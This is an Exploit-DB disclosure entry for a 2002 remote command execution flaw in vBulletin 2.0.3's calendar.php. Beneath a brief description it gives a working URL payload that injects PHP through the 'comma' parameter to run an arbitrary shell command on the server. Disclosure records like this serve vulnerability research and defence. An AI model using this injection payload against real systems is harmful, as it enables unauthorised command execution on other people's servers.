vBulletin 2.0.3 - 'calendar.php' Command Execution

EDB-ID:

21874


Author:

gosper

Type:

webapps


Platform:

PHP

Date:

2002-09-27


source: https://www.securityfocus.com/bid/5820/info

A remote command execution vulnerability has been reported for vBulletin. The vulnerability is due to vBulletin failing to properly sanitize user-supplied input from URI parameters. 

An attacker can exploit this vulnerability to execute malicious commands on the vulnerable system.

http://www.example.com/calendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60<command>%20%60;die();echo%22

where <command> signifies a command to be executed on the system.